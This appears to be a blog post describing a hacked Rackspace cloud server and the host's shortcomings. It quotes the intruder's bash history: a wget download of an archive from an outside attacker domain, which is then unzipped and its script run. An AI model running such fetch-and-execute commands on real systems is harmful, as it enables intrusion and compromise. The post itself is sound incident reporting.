The bad news is that the server wasn't pretty. On the upside it must have been hacked by a script kiddie as they did NOT cover their tracks very well at all. On the downside, they did NOT appear to have used the single user account I created and somehow entered through either the rackspace admin network (SPOOKY, inside job?) or one of the default services installed with Ubuntu 10.04 LTS (still not good)
From my root .bash_history, I noticed the following (the first few lines, may have been me):
exit w w passwd cd /var/tmp la wget hacker.go.ro/go.zip unzip go.zip cd go chmod +x * ./go.sh 112 cd /var/tmp cd go chmod +x * ./go.sh 220
In my /var/tmp/go directory I have a bunch of stuff that I'm looking at right now, but of specific interest are a couple of Chinese servers that appear to have been used in the heist.
In short, Rackspace did a good job during "normal business" hours of helping me out, but I certainly ran into a few pretty serious drawbacks. Notably:
#1 By default, servers are built and exposed to the internet immediately.
#2 There is no mechanism to set up mini DMZs or other ways to cordon off traffic, except through software controls (on servers that are already potentially p0wn3d).
#3 There is no weekend support as far as I can tell.
A big plus to having the server physically sitting on site is that, unless you get locked out of the server room, you can ALMOST always reboot the server from a CD and reinstall the OS. If your hosting provider decides to disable your cloud network console, you're kinda out of luck.